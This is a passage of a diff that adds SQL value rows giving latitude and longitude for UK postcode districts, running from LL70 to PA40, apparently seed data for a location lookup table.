+('LL70', '', '', '53.364', '-4.287', 0, 1, 'uk'),
+('LL71', '', '', '53.327', '-4.368', 0, 1, 'uk'),
+('LL72', '', '', '53.35', '-4.24', 0, 1, 'uk'),
+('LL73', '', '', '53.335', '-4.244', 0, 1, 'uk'),
+('LL74', '', '', '53.316', '-4.232', 0, 1, 'uk'),
+('LL75', '', '', '53.283', '-4.218', 0, 1, 'uk'),
+('LL76', '', '', '53.301', '-4.238', 0, 1, 'uk'),
+('LL77', '', '', '53.26', '-4.311', 0, 1, 'uk'),
+('LL78', '', '', '53.317', '-4.262', 0, 1, 'uk'),
+('LN1', '', '', '53.259', '-0.587', 0, 1, 'uk'),
+('LN10', '', '', '53.158', '-0.217', 0, 1, 'uk'),
+('LN11', '', '', '53.373', '0.024', 0, 1, 'uk'),
+('LN12', '', '', '53.329', '0.266', 0, 1, 'uk'),
+('LN13', '', '', '53.265', '0.184', 0, 1, 'uk'),
+('LN2', '', '', '53.255', '-0.508', 0, 1, 'uk'),
+('LN3', '', '', '53.243', '-0.419', 0, 1, 'uk'),
+('LN4', '', '', '53.15', '-0.384', 0, 1, 'uk'),
+('LN5', '', '', '53.172', '-0.556', 0, 1, 'uk'),
+('LN6', '', '', '53.203', '-0.594', 0, 1, 'uk'),
+('LN7', '', '', '53.492', '-0.343', 0, 1, 'uk'),
+('LN8', '', '', '53.373', '-0.324', 0, 1, 'uk'),
+('LN9', '', '', '53.217', '-0.111', 0, 1, 'uk'),
+('LS1', '', '', '53.797', '-1.548', 0, 1, 'uk'),
+('LS10', '', '', '53.762', '-1.531', 0, 1, 'uk'),
+('LS11', '', '', '53.776', '-1.556', 0, 1, 'uk'),
+('LS12', '', '', '53.791', '-1.596', 0, 1, 'uk'),
+('LS13', '', '', '53.81', '-1.634', 0, 1, 'uk'),
+('LS14', '', '', '53.828', '-1.456', 0, 1, 'uk'),
+('LS15', '', '', '53.806', '-1.444', 0, 1, 'uk'),
+('LS16', '', '', '53.851', '-1.602', 0, 1, 'uk'),
+('LS17', '', '', '53.859', '-1.527', 0, 1, 'uk'),
+('LS18', '', '', '53.841', '-1.641', 0, 1, 'uk'),
+('LS19', '', '', '53.86', '-1.683', 0, 1, 'uk'),
+('LS2', '', '', '53.801', '-1.545', 0, 1, 'uk'),
+('LS20', '', '', '53.873', '-1.713', 0, 1, 'uk'),
+('LS21', '', '', '53.911', '-1.679', 0, 1, 'uk'),
+('LS22', '', '', '53.932', '-1.394', 0, 1, 'uk'),
+('LS23', '', '', '53.904', '-1.354', 0, 1, 'uk'),
+('LS24', '', '', '53.87', '-1.252', 0, 1, 'uk'),
+('LS25', '', '', '53.785', '-1.33', 0, 1, 'uk'),
+('LS26', '', '', '53.752', '-1.448', 0, 1, 'uk'),
+('LS27', '', '', '53.749', '-1.602', 0, 1, 'uk'),
+('LS28', '', '', '53.802', '-1.669', 0, 1, 'uk'),
+('LS29', '', '', '53.92', '-1.803', 0, 1, 'uk'),
+('LS3', '', '', '53.801', '-1.56', 0, 1, 'uk'),
+('LS4', '', '', '53.809', '-1.581', 0, 1, 'uk'),
+('LS5', '', '', '53.819', '-1.601', 0, 1, 'uk'),
+('LS6', '', '', '53.82', '-1.568', 0, 1, 'uk'),
+('LS7', '', '', '53.818', '-1.539', 0, 1, 'uk'),
+('LS72', '', '', '53.765618', '-1.58157', 0, 1, 'uk'),
+('LS8', '', '', '53.824', '-1.509', 0, 1, 'uk'),
+('LS9', '', '', '53.799', '-1.509', 0, 1, 'uk'),
+('LU1', '', '', '51.874', '-0.424', 0, 1, 'uk'),
+('LU2', '', '', '51.892', '-0.395', 0, 1, 'uk'),
+('LU3', '', '', '51.909', '-0.442', 0, 1, 'uk'),
+('LU4', '', '', '51.898', '-0.467', 0, 1, 'uk'),
+('LU49', '', '', '51.92918', '-0.502956', 0, 1, 'uk'),
+('LU5', '', '', '51.909', '-0.513', 0, 1, 'uk'),
+('LU6', '', '', '51.877', '-0.536', 0, 1, 'uk'),
+('LU7', '', '', '51.909', '-0.664', 0, 1, 'uk'),
+('M1', '', '', '53.477', '-2.235', 0, 1, 'uk'),
+('M11', '', '', '53.479', '-2.18', 0, 1, 'uk'),
+('M12', '', '', '53.464', '-2.201', 0, 1, 'uk'),
+('M13', '', '', '53.461', '-2.215', 0, 1, 'uk'),
+('M14', '', '', '53.448', '-2.224', 0, 1, 'uk'),
+('M15', '', '', '53.466', '-2.25', 0, 1, 'uk'),
+('M16', '', '', '53.455', '-2.263', 0, 1, 'uk'),
+('M17', '', '', '53.469', '-2.318', 0, 1, 'uk'),
+('M18', '', '', '53.461', '-2.169', 0, 1, 'uk'),
+('M19', '', '', '53.437', '-2.195', 0, 1, 'uk'),
+('M2', '', '', '53.48', '-2.243', 0, 1, 'uk'),
+('M20', '', '', '53.425', '-2.23', 0, 1, 'uk'),
+('M21', '', '', '53.438', '-2.271', 0, 1, 'uk'),
+('M22', '', '', '53.386', '-2.258', 0, 1, 'uk'),
+('M23', '', '', '53.399', '-2.287', 0, 1, 'uk'),
+('M24', '', '', '53.551', '-2.196', 0, 1, 'uk'),
+('M25', '', '', '53.528', '-2.275', 0, 1, 'uk'),
+('M26', '', '', '53.562', '-2.333', 0, 1, 'uk'),
+('M27', '', '', '53.512', '-2.337', 0, 1, 'uk'),
+('M28', '', '', '53.514', '-2.397', 0, 1, 'uk'),
+('M29', '', '', '53.508', '-2.457', 0, 1, 'uk'),
+('M3', '', '', '53.483', '-2.251', 0, 1, 'uk'),
+('M30', '', '', '53.484', '-2.354', 0, 1, 'uk'),
+('M31', '', '', '53.419', '-2.422', 0, 1, 'uk'),
+('M32', '', '', '53.45', '-2.309', 0, 1, 'uk'),
+('M33', '', '', '53.421', '-2.324', 0, 1, 'uk'),
+('M34', '', '', '53.456', '-2.117', 0, 1, 'uk'),
+('M35', '', '', '53.507', '-2.153', 0, 1, 'uk'),
+('M38', '', '', '53.532', '-2.421', 0, 1, 'uk'),
+('M4', '', '', '53.485', '-2.229', 0, 1, 'uk'),
+('M40', '', '', '53.504', '-2.19', 0, 1, 'uk'),
+('M41', '', '', '53.451', '-2.364', 0, 1, 'uk'),
+('M43', '', '', '53.483', '-2.148', 0, 1, 'uk'),
+('M44', '', '', '53.441', '-2.426', 0, 1, 'uk'),
+('M45', '', '', '53.547', '-2.289', 0, 1, 'uk'),
+('M46', '', '', '53.526', '-2.49', 0, 1, 'uk'),
+('M5', '', '', '53.479', '-2.284', 0, 1, 'uk'),
+('M50', '', '', '53.480982', '-2.309948', 0, 1, 'uk'),
+('M6', '', '', '53.492', '-2.297', 0, 1, 'uk'),
+('M60', '', '', '53.486', '-2.228', 0, 1, 'uk'),
+('M7', '', '', '53.505', '-2.26', 0, 1, 'uk'),
+('M8', '', '', '53.509', '-2.239', 0, 1, 'uk'),
+('M9', '', '', '53.522', '-2.213', 0, 1, 'uk'),
+('M90', '', '', '53.363', '-2.277', 0, 1, 'uk'),
+('ME1', '', '', '51.372', '0.5', 0, 1, 'uk'),
+('ME10', '', '', '51.343', '0.736', 0, 1, 'uk'),
+('ME11', '', '', '51.413', '0.749', 0, 1, 'uk'),
+('ME12', '', '', '51.423', '0.805', 0, 1, 'uk'),
+('ME13', '', '', '51.303', '0.896', 0, 1, 'uk'),
+('ME14', '', '', '51.28', '0.542', 0, 1, 'uk'),
+('ME15', '', '', '51.254', '0.534', 0, 1, 'uk'),
+('ME16', '', '', '51.274', '0.5', 0, 1, 'uk'),
+('ME17', '', '', '51.235', '0.61', 0, 1, 'uk'),
+('ME18', '', '', '51.244', '0.423', 0, 1, 'uk'),
+('ME19', '', '', '51.293', '0.411', 0, 1, 'uk'),
+('ME2', '', '', '51.392', '0.486', 0, 1, 'uk'),
+('ME20', '', '', '51.305', '0.46', 0, 1, 'uk'),
+('ME3', '', '', '51.433', '0.547', 0, 1, 'uk'),
+('ME4', '', '', '51.38', '0.53', 0, 1, 'uk'),
+('ME5', '', '', '51.349', '0.534', 0, 1, 'uk'),
+('ME6', '', '', '51.327', '0.441', 0, 1, 'uk'),
+('ME7', '', '', '51.379', '0.557', 0, 1, 'uk'),
+('ME8', '', '', '51.361', '0.599', 0, 1, 'uk'),
+('ME9', '', '', '51.333', '0.725', 0, 1, 'uk'),
+('MK1', '', '', '52.005', '-0.726', 0, 1, 'uk'),
+('MK10', '', '', '52.039', '-0.698', 0, 1, 'uk'),
+('MK11', '', '', '52.052', '-0.84', 0, 1, 'uk'),
+('MK12', '', '', '52.057', '-0.816', 0, 1, 'uk'),
+('MK13', '', '', '52.052', '-0.784', 0, 1, 'uk'),
+('MK14', '', '', '52.059', '-0.762', 0, 1, 'uk'),
+('MK15', '', '', '52.058', '-0.728', 0, 1, 'uk'),
+('MK16', '', '', '52.089', '-0.721', 0, 1, 'uk'),
+('MK17', '', '', '51.992', '-0.7', 0, 1, 'uk'),
+('MK18', '', '', '51.98', '-0.969', 0, 1, 'uk'),
+('MK19', '', '', '52.072', '-0.852', 0, 1, 'uk'),
+('MK2', '', '', '51.99', '-0.724', 0, 1, 'uk'),
+('MK3', '', '', '51.997', '-0.753', 0, 1, 'uk'),
+('MK31', '', '', '52.14609', '-0.423086', 0, 1, 'uk'),
+('MK4', '', '', '52.004', '-0.777', 0, 1, 'uk'),
+('MK40', '', '', '52.138', '-0.472', 0, 1, 'uk'),
+('MK41', '', '', '52.151', '-0.447', 0, 1, 'uk'),
+('MK42', '', '', '52.12', '-0.473', 0, 1, 'uk'),
+('MK43', '', '', '52.118', '-0.557', 0, 1, 'uk'),
+('MK44', '', '', '52.194', '-0.426', 0, 1, 'uk'),
+('MK45', '', '', '52.024', '-0.468', 0, 1, 'uk'),
+('MK46', '', '', '52.154', '-0.691', 0, 1, 'uk'),
+('MK5', '', '', '52.02', '-0.783', 0, 1, 'uk'),
+('MK6', '', '', '52.03', '-0.742', 0, 1, 'uk'),
+('MK7', '', '', '52.019', '-0.69', 0, 1, 'uk'),
+('MK8', '', '', '52.036', '-0.803', 0, 1, 'uk'),
+('MK9', '', '', '52.041', '-0.759', 0, 1, 'uk'),
+('ML1', '', '', '55.799', '-3.976', 0, 1, 'uk'),
+('ML10', '', '', '55.68', '-4.069', 0, 1, 'uk'),
+('ML11', '', '', '55.667', '-3.786', 0, 1, 'uk'),
+('ML12', '', '', '55.566', '-3.596', 0, 1, 'uk'),
+('ML2', '', '', '55.777', '-3.913', 0, 1, 'uk'),
+('ML3', '', '', '55.77', '-4.054', 0, 1, 'uk'),
+('ML4', '', '', '55.818', '-4.02', 0, 1, 'uk'),
+('ML5', '', '', '55.86', '-4.03', 0, 1, 'uk'),
+('ML6', '', '', '55.867', '-3.962', 0, 1, 'uk'),
+('ML7', '', '', '55.83', '-3.793', 0, 1, 'uk'),
+('ML8', '', '', '55.731', '-3.841', 0, 1, 'uk'),
+('ML9', '', '', '55.725', '-3.967', 0, 1, 'uk'),
+('N1', '', '', '51.537', '-0.097', 0, 1, 'uk'),
+('N10', '', '', '51.594', '-0.143', 0, 1, 'uk'),
+('N11', '', '', '51.613', '-0.138', 0, 1, 'uk'),
+('N12', '', '', '51.615', '-0.176', 0, 1, 'uk'),
+('N13', '', '', '51.619', '-0.102', 0, 1, 'uk'),
+('N14', '', '', '51.634', '-0.129', 0, 1, 'uk'),
+('N15', '', '', '51.582', '-0.081', 0, 1, 'uk'),
+('N16', '', '', '51.563', '-0.075', 0, 1, 'uk'),
+('N17', '', '', '51.597', '-0.07', 0, 1, 'uk'),
+('N18', '', '', '51.613', '-0.065', 0, 1, 'uk'),
+('N19', '', '', '51.565', '-0.128', 0, 1, 'uk'),
+('N2', '', '', '51.59', '-0.167', 0, 1, 'uk'),
+('N20', '', '', '51.629', '-0.173', 0, 1, 'uk'),
+('N21', '', '', '51.636', '-0.098', 0, 1, 'uk'),
+('N22', '', '', '51.599', '-0.11', 0, 1, 'uk'),
+('N3', '', '', '51.6', '-0.193', 0, 1, 'uk'),
+('N4', '', '', '51.571', '-0.101', 0, 1, 'uk'),
+('N5', '', '', '51.553', '-0.097', 0, 1, 'uk'),
+('N6', '', '', '51.572', '-0.141', 0, 1, 'uk'),
+('N7', '', '', '51.553', '-0.116', 0, 1, 'uk'),
+('N8', '', '', '51.584', '-0.116', 0, 1, 'uk'),
+('N9', '', '', '51.628', '-0.057', 0, 1, 'uk'),
+('NE1', '', '', '54.973', '-1.611', 0, 1, 'uk'),
+('NE10', '', '', '54.947', '-1.553', 0, 1, 'uk'),
+('NE11', '', '', '54.941', '-1.631', 0, 1, 'uk'),
+('NE12', '', '', '55.024', '-1.569', 0, 1, 'uk'),
+('NE13', '', '', '55.046', '-1.645', 0, 1, 'uk'),
+('NE14', '', '', '54.964911', '-1.665544', 0, 1, 'uk'),
+('NE15', '', '', '54.984', '-1.72', 0, 1, 'uk'),
+('NE16', '', '', '54.932', '-1.691', 0, 1, 'uk'),
+('NE17', '', '', '54.913', '-1.816', 0, 1, 'uk'),
+('NE18', '', '', '55.038', '-1.861', 0, 1, 'uk'),
+('NE19', '', '', '55.179', '-2.096', 0, 1, 'uk'),
+('NE2', '', '', '54.987', '-1.605', 0, 1, 'uk'),
+('NE20', '', '', '55.053', '-1.786', 0, 1, 'uk'),
+('NE21', '', '', '54.958', '-1.719', 0, 1, 'uk'),
+('NE22', '', '', '55.136', '-1.584', 0, 1, 'uk'),
+('NE23', '', '', '55.08', '-1.581', 0, 1, 'uk'),
+('NE24', '', '', '55.122', '-1.521', 0, 1, 'uk'),
+('NE25', '', '', '55.05', '-1.486', 0, 1, 'uk'),
+('NE26', '', '', '55.052', '-1.456', 0, 1, 'uk'),
+('NE27', '', '', '55.033', '-1.511', 0, 1, 'uk'),
+('NE28', '', '', '55', '-1.519', 0, 1, 'uk'),
+('NE29', '', '', '55.012', '-1.464', 0, 1, 'uk'),
+('NE3', '', '', '55.01', '-1.633', 0, 1, 'uk'),
+('NE30', '', '', '55.021', '-1.44', 0, 1, 'uk'),
+('NE31', '', '', '54.971', '-1.512', 0, 1, 'uk'),
+('NE32', '', '', '54.968', '-1.483', 0, 1, 'uk'),
+('NE33', '', '', '54.991', '-1.428', 0, 1, 'uk'),
+('NE34', '', '', '54.972', '-1.421', 0, 1, 'uk'),
+('NE35', '', '', '54.952', '-1.46', 0, 1, 'uk'),
+('NE36', '', '', '54.945', '-1.439', 0, 1, 'uk'),
+('NE37', '', '', '54.913', '-1.526', 0, 1, 'uk'),
+('NE38', '', '', '54.894', '-1.524', 0, 1, 'uk'),
+('NE39', '', '', '54.924', '-1.759', 0, 1, 'uk'),
+('NE4', '', '', '54.974', '-1.643', 0, 1, 'uk'),
+('NE40', '', '', '54.966', '-1.772', 0, 1, 'uk'),
+('NE41', '', '', '54.976', '-1.819', 0, 1, 'uk'),
+('NE42', '', '', '54.962', '-1.854', 0, 1, 'uk'),
+('NE43', '', '', '54.948', '-1.905', 0, 1, 'uk'),
+('NE44', '', '', '54.943', '-1.978', 0, 1, 'uk'),
+('NE45', '', '', '54.976', '-2.016', 0, 1, 'uk'),
+('NE46', '', '', '54.979', '-2.106', 0, 1, 'uk'),
+('NE47', '', '', '54.929', '-2.251', 0, 1, 'uk'),
+('NE48', '', '', '55.132', '-2.257', 0, 1, 'uk'),
+('NE49', '', '', '54.967', '-2.459', 0, 1, 'uk'),
+('NE5', '', '', '54.996', '-1.687', 0, 1, 'uk'),
+('NE6', '', '', '54.977', '-1.564', 0, 1, 'uk'),
+('NE61', '', '', '55.181', '-1.688', 0, 1, 'uk'),
+('NE62', '', '', '55.161', '-1.592', 0, 1, 'uk'),
+('NE63', '', '', '55.178', '-1.562', 0, 1, 'uk'),
+('NE64', '', '', '55.184', '-1.514', 0, 1, 'uk'),
+('NE65', '', '', '55.313', '-1.751', 0, 1, 'uk'),
+('NE66', '', '', '55.428', '-1.731', 0, 1, 'uk'),
+('NE67', '', '', '55.534', '-1.693', 0, 1, 'uk'),
+('NE68', '', '', '55.574', '-1.658', 0, 1, 'uk'),
+('NE69', '', '', '55.605', '-1.716', 0, 1, 'uk'),
+('NE7', '', '', '55', '-1.578', 0, 1, 'uk'),
+('NE70', '', '', '55.594', '-1.815', 0, 1, 'uk'),
+('NE71', '', '', '55.555', '-2.044', 0, 1, 'uk'),
+('NE8', '', '', '54.955', '-1.603', 0, 1, 'uk'),
+('NE88', '', '', '54.941686', '-1.61541', 0, 1, 'uk'),
+('NE9', '', '', '54.931', '-1.584', 0, 1, 'uk'),
+('NE99', '', '', '54.967', '-1.613', 0, 1, 'uk'),
+('NG1', '', '', '52.954', '-1.147', 0, 1, 'uk'),
+('NG10', '', '', '52.9', '-1.282', 0, 1, 'uk'),
+('NG11', '', '', '52.899', '-1.173', 0, 1, 'uk'),
+('NG12', '', '', '52.911', '-1.054', 0, 1, 'uk'),
+('NG13', '', '', '52.947', '-0.92', 0, 1, 'uk'),
+('NG14', '', '', '53.015', '-1.037', 0, 1, 'uk'),
+('NG15', '', '', '53.045', '-1.203', 0, 1, 'uk'),
+('NG16', '', '', '53.027', '-1.294', 0, 1, 'uk'),
+('NG17', '', '', '53.116', '-1.26', 0, 1, 'uk'),
+('NG18', '', '', '53.138', '-1.183', 0, 1, 'uk'),
+('NG19', '', '', '53.16', '-1.197', 0, 1, 'uk'),
+('NG2', '', '', '52.935', '-1.131', 0, 1, 'uk'),
+('NG20', '', '', '53.21', '-1.183', 0, 1, 'uk'),
+('NG21', '', '', '53.141', '-1.104', 0, 1, 'uk'),
+('NG22', '', '', '53.178', '-0.971', 0, 1, 'uk'),
+('NG23', '', '', '53.116', '-0.801', 0, 1, 'uk'),
+('NG24', '', '', '53.07', '-0.799', 0, 1, 'uk'),
+('NG25', '', '', '53.073', '-0.955', 0, 1, 'uk'),
+('NG3', '', '', '52.968', '-1.128', 0, 1, 'uk'),
+('NG31', '', '', '52.914', '-0.64', 0, 1, 'uk'),
+('NG32', '', '', '52.949', '-0.649', 0, 1, 'uk'),
+('NG33', '', '', '52.818', '-0.579', 0, 1, 'uk'),
+('NG34', '', '', '52.988', '-0.391', 0, 1, 'uk'),
+('NG4', '', '', '52.97', '-1.086', 0, 1, 'uk'),
+('NG5', '', '', '52.997', '-1.143', 0, 1, 'uk'),
+('NG6', '', '', '52.997', '-1.191', 0, 1, 'uk'),
+('NG7', '', '', '52.958', '-1.175', 0, 1, 'uk'),
+('NG8', '', '', '52.964', '-1.212', 0, 1, 'uk'),
+('NG9', '', '', '52.926', '-1.236', 0, 1, 'uk'),
+('NN1', '', '', '52.241', '-0.887', 0, 1, 'uk'),
+('NN10', '', '', '52.292', '-0.597', 0, 1, 'uk'),
+('NN11', '', '', '52.241', '-1.179', 0, 1, 'uk'),
+('NN12', '', '', '52.128', '-0.998', 0, 1, 'uk'),
+('NN13', '', '', '52.032', '-1.147', 0, 1, 'uk'),
+('NN14', '', '', '52.41', '-0.692', 0, 1, 'uk'),
+('NN15', '', '', '52.384', '-0.706', 0, 1, 'uk'),
+('NN16', '', '', '52.406', '-0.721', 0, 1, 'uk'),
+('NN17', '', '', '52.5', '-0.688', 0, 1, 'uk'),
+('NN18', '', '', '52.48', '-0.715', 0, 1, 'uk'),
+('NN2', '', '', '52.262', '-0.895', 0, 1, 'uk'),
+('NN29', '', '', '52.26', '-0.663', 0, 1, 'uk'),
+('NN3', '', '', '52.261', '-0.846', 0, 1, 'uk'),
+('NN4', '', '', '52.216', '-0.896', 0, 1, 'uk'),
+('NN5', '', '', '52.248', '-0.93', 0, 1, 'uk'),
+('NN51', '', '', '52.391769', '-0.685219', 0, 1, 'uk'),
+('NN6', '', '', '52.322', '-0.944', 0, 1, 'uk'),
+('NN7', '', '', '52.21', '-0.927', 0, 1, 'uk'),
+('NN8', '', '', '52.303', '-0.698', 0, 1, 'uk'),
+('NN9', '', '', '52.333', '-0.599', 0, 1, 'uk'),
+('NP10', '', '', '51.579', '-3.045', 0, 1, 'uk'),
+('NP11', '', '', '51.643', '-3.13', 0, 1, 'uk'),
+('NP12', '', '', '51.668', '-3.197', 0, 1, 'uk'),
+('NP13', '', '', '51.734', '-3.14', 0, 1, 'uk'),
+('NP15', '', '', '51.726', '-2.886', 0, 1, 'uk'),
+('NP16', '', '', '51.65', '-2.688', 0, 1, 'uk'),
+('NP18', '', '', '51.607', '-2.943', 0, 1, 'uk'),
+('NP19', '', '', '51.589', '-2.963', 0, 1, 'uk'),
+('NP2', '', '', '51.759071', '-3.289044', 0, 1, 'uk'),
+('NP20', '', '', '51.591', '-3.005', 0, 1, 'uk'),
+('NP22', '', '', '51.771', '-3.257', 0, 1, 'uk'),
+('NP23', '', '', '51.785', '-3.196', 0, 1, 'uk'),
+('NP24', '', '', '51.72', '-3.237', 0, 1, 'uk'),
+('NP25', '', '', '51.803', '-2.722', 0, 1, 'uk'),
+('NP26', '', '', '51.59', '-2.777', 0, 1, 'uk'),
+('NP3', '', '', '51.739616', '-3.175639', 0, 1, 'uk'),
+('NP4', '', '', '51.719', '-3.046', 0, 1, 'uk'),
+('NP44', '', '', '51.651', '-3.027', 0, 1, 'uk'),
+('NP6', '', '', '51.584213', '-2.760448', 0, 1, 'uk'),
+('NP7', '', '', '51.829', '-3.009', 0, 1, 'uk'),
+('NP8', '', '', '51.86', '-3.146', 0, 1, 'uk'),
+('NP9', '', '', '51.589122', '-2.972316', 0, 1, 'uk'),
+('NR1', '', '', '52.626', '1.31', 0, 1, 'uk'),
+('NR10', '', '', '52.736', '1.246', 0, 1, 'uk'),
+('NR11', '', '', '52.841', '1.275', 0, 1, 'uk'),
+('NR12', '', '', '52.76', '1.472', 0, 1, 'uk'),
+('NR13', '', '', '52.634', '1.473', 0, 1, 'uk'),
+('NR14', '', '', '52.565', '1.381', 0, 1, 'uk'),
+('NR15', '', '', '52.506', '1.271', 0, 1, 'uk'),
+('NR16', '', '', '52.476', '1.061', 0, 1, 'uk'),
+('NR17', '', '', '52.515', '0.996', 0, 1, 'uk'),
+('NR18', '', '', '52.571', '1.11', 0, 1, 'uk'),
+('NR19', '', '', '52.675', '0.929', 0, 1, 'uk'),
+('NR2', '', '', '52.63', '1.285', 0, 1, 'uk'),
+('NR20', '', '', '52.724', '0.981', 0, 1, 'uk'),
+('NR21', '', '', '52.841', '0.853', 0, 1, 'uk'),
+('NR22', '', '', '52.894', '0.867', 0, 1, 'uk'),
+('NR23', '', '', '52.949', '0.86', 0, 1, 'uk'),
+('NR24', '', '', '52.859', '1.051', 0, 1, 'uk'),
+('NR25', '', '', '52.92', '1.085', 0, 1, 'uk'),
+('NR26', '', '', '52.935', '1.215', 0, 1, 'uk'),
+('NR27', '', '', '52.924', '1.302', 0, 1, 'uk'),
+('NR28', '', '', '52.822', '1.4', 0, 1, 'uk'),
+('NR29', '', '', '52.692', '1.639', 0, 1, 'uk'),
+('NR3', '', '', '52.643', '1.296', 0, 1, 'uk'),
+('NR30', '', '', '52.619', '1.729', 0, 1, 'uk'),
+('NR31', '', '', '52.576', '1.711', 0, 1, 'uk'),
+('NR32', '', '', '52.489', '1.734', 0, 1, 'uk'),
+('NR33', '', '', '52.454', '1.719', 0, 1, 'uk'),
+('NR34', '', '', '52.438', '1.585', 0, 1, 'uk'),
+('NR35', '', '', '52.462', '1.435', 0, 1, 'uk'),
+('NR4', '', '', '52.614', '1.265', 0, 1, 'uk'),
+('NR5', '', '', '52.64', '1.235', 0, 1, 'uk'),
+('NR50', '', '', '52.649625', '1.22766', 0, 1, 'uk'),
+('NR6', '', '', '52.661', '1.283', 0, 1, 'uk'),
+('NR7', '', '', '52.635954', '1.350276', 0, 1, 'uk'),
+('NR8', '', '', '52.678', '1.212', 0, 1, 'uk'),
+('NR9', '', '', '52.636', '1.109', 0, 1, 'uk'),
+('NW1', '', '', '51.532', '-0.143', 0, 1, 'uk'),
+('NW10', '', '', '51.54', '-0.246', 0, 1, 'uk'),
+('NW11', '', '', '51.578', '-0.196', 0, 1, 'uk'),
+('NW2', '', '', '51.558', '-0.218', 0, 1, 'uk'),
+('NW3', '', '', '51.552', '-0.171', 0, 1, 'uk'),
+('NW4', '', '', '51.587', '-0.223', 0, 1, 'uk'),
+('NW5', '', '', '51.551', '-0.143', 0, 1, 'uk'),
+('NW6', '', '', '51.541', '-0.194', 0, 1, 'uk'),
+('NW7', '', '', '51.615', '-0.235', 0, 1, 'uk'),
+('NW8', '', '', '51.531', '-0.171', 0, 1, 'uk'),
+('NW9', '', '', '51.586', '-0.254', 0, 1, 'uk'),
+('OL1', '', '', '53.549', '-2.105', 0, 1, 'uk'),
+('OL10', '', '', '53.59', '-2.222', 0, 1, 'uk'),
+('OL11', '', '', '53.606', '-2.174', 0, 1, 'uk'),
+('OL12', '', '', '53.635', '-2.164', 0, 1, 'uk'),
+('OL13', '', '', '53.701', '-2.203', 0, 1, 'uk'),
+('OL14', '', '', '53.714', '-2.099', 0, 1, 'uk'),
+('OL15', '', '', '53.644', '-2.1', 0, 1, 'uk'),
+('OL16', '', '', '53.612', '-2.131', 0, 1, 'uk'),
+('OL2', '', '', '53.572', '-2.108', 0, 1, 'uk'),
+('OL3', '', '', '53.553', '-2.009', 0, 1, 'uk'),
+('OL4', '', '', '53.542', '-2.073', 0, 1, 'uk'),
+('OL5', '', '', '53.517', '-2.038', 0, 1, 'uk'),
+('OL6', '', '', '53.494', '-2.085', 0, 1, 'uk'),
+('OL7', '', '', '53.49', '-2.105', 0, 1, 'uk'),
+('OL8', '', '', '53.526', '-2.116', 0, 1, 'uk'),
+('OL9', '', '', '53.539', '-2.142', 0, 1, 'uk'),
+('OX1', '', '', '51.745', '-1.259', 0, 1, 'uk'),
+('OX10', '', '', '51.608', '-1.127', 0, 1, 'uk'),
+('OX11', '', '', '51.599', '-1.246', 0, 1, 'uk'),
+('OX12', '', '', '51.594', '-1.425', 0, 1, 'uk'),
+('OX13', '', '', '51.678', '-1.347', 0, 1, 'uk'),
+('OX14', '', '', '51.668', '-1.275', 0, 1, 'uk'),
+('OX15', '', '', '52.032', '-1.407', 0, 1, 'uk'),
+('OX16', '', '', '52.062', '-1.34', 0, 1, 'uk'),
+('OX17', '', '', '52.073', '-1.289', 0, 1, 'uk'),
+('OX18', '', '', '51.762', '-1.591', 0, 1, 'uk'),
+('OX2', '', '', '51.764', '-1.277', 0, 1, 'uk'),
+('OX20', '', '', '51.856', '-1.358', 0, 1, 'uk'),
+('OX25', '', '', '51.901', '-1.213', 0, 1, 'uk'),
+('OX26', '', '', '51.901', '-1.151', 0, 1, 'uk'),
+('OX27', '', '', '51.937', '-1.147', 0, 1, 'uk'),
+('OX28', '', '', '51.785', '-1.487', 0, 1, 'uk'),
+('OX29', '', '', '51.794', '-1.432', 0, 1, 'uk'),
+('OX3', '', '', '51.761', '-1.214', 0, 1, 'uk'),
+('OX33', '', '', '51.758', '-1.147', 0, 1, 'uk'),
+('OX39', '', '', '51.701', '-0.913', 0, 1, 'uk'),
+('OX4', '', '', '51.73', '-1.215', 0, 1, 'uk'),
+('OX44', '', '', '51.7', '-1.13', 0, 1, 'uk'),
+('OX49', '', '', '51.65', '-1', 0, 1, 'uk'),
+('OX5', '', '', '51.829', '-1.281', 0, 1, 'uk'),
+('OX6', '', '', '51.909', '-1.168', 0, 1, 'uk'),
+('OX7', '', '', '51.911', '-1.528', 0, 1, 'uk'),
+('OX8', '', '', '51.79', '-1.455', 0, 1, 'uk'),
+('OX9', '', '', '51.738', '-0.982', 0, 1, 'uk'),
+('PA1', '', '', '55.845', '-4.417', 0, 1, 'uk'),
+('PA10', '', '', '55.833', '-4.551', 0, 1, 'uk'),
+('PA11', '', '', '55.857', '-4.582', 0, 1, 'uk'),
+('PA12', '', '', '55.796', '-4.623', 0, 1, 'uk'),
+('PA13', '', '', '55.893', '-4.629', 0, 1, 'uk'),
+('PA14', '', '', '55.927', '-4.663', 0, 1, 'uk'),
+('PA15', '', '', '55.942', '-4.748', 0, 1, 'uk'),
+('PA16', '', '', '55.944', '-4.796', 0, 1, 'uk'),
+('PA17', '', '', '55.865', '-4.882', 0, 1, 'uk'),
+('PA18', '', '', '55.889', '-4.887', 0, 1, 'uk'),
+('PA19', '', '', '55.953', '-4.822', 0, 1, 'uk'),
+('PA2', '', '', '55.829', '-4.434', 0, 1, 'uk'),
+('PA20', '', '', '55.835', '-5.057', 0, 1, 'uk'),
+('PA21', '', '', '55.901', '-5.248', 0, 1, 'uk'),
+('PA22', '', '', '55.97', '-5.157', 0, 1, 'uk'),
+('PA23', '', '', '55.955', '-4.932', 0, 1, 'uk'),
+('PA24', '', '', '56.157', '-4.904', 0, 1, 'uk'),
+('PA25', '', '', '56.216', '-5.04', 0, 1, 'uk'),
+('PA26', '', '', '56.258', '-4.938', 0, 1, 'uk'),
+('PA27', '', '', '56.154', '-5.084', 0, 1, 'uk'),
+('PA28', '', '', '55.436', '-5.603', 0, 1, 'uk'),
+('PA29', '', '', '55.804', '-5.477', 0, 1, 'uk'),
+('PA3', '', '', '55.852', '-4.447', 0, 1, 'uk'),
+('PA30', '', '', '56.014', '-5.448', 0, 1, 'uk'),
+('PA31', '', '', '56.053', '-5.463', 0, 1, 'uk'),
+('PA32', '', '', '56.203', '-5.117', 0, 1, 'uk'),
+('PA33', '', '', '56.37', '-5.055', 0, 1, 'uk'),
+('PA34', '', '', '56.403', '-5.499', 0, 1, 'uk'),
+('PA35', '', '', '56.405', '-5.224', 0, 1, 'uk'),
+('PA36', '', '', '56.521', '-4.771', 0, 1, 'uk'),
+('PA37', '', '', '56.469', '-5.386', 0, 1, 'uk'),
+('PA38', '', '', '56.592', '-5.335', 0, 1, 'uk'),
+('PA39', '', '', '56.929557', '-5.849203', 0, 1, 'uk'),
+('PA4', '', '', '55.875', '-4.396', 0, 1, 'uk'),
+('PA40', '', '', '56.712968', '-4.971533', 0, 1, 'uk'),
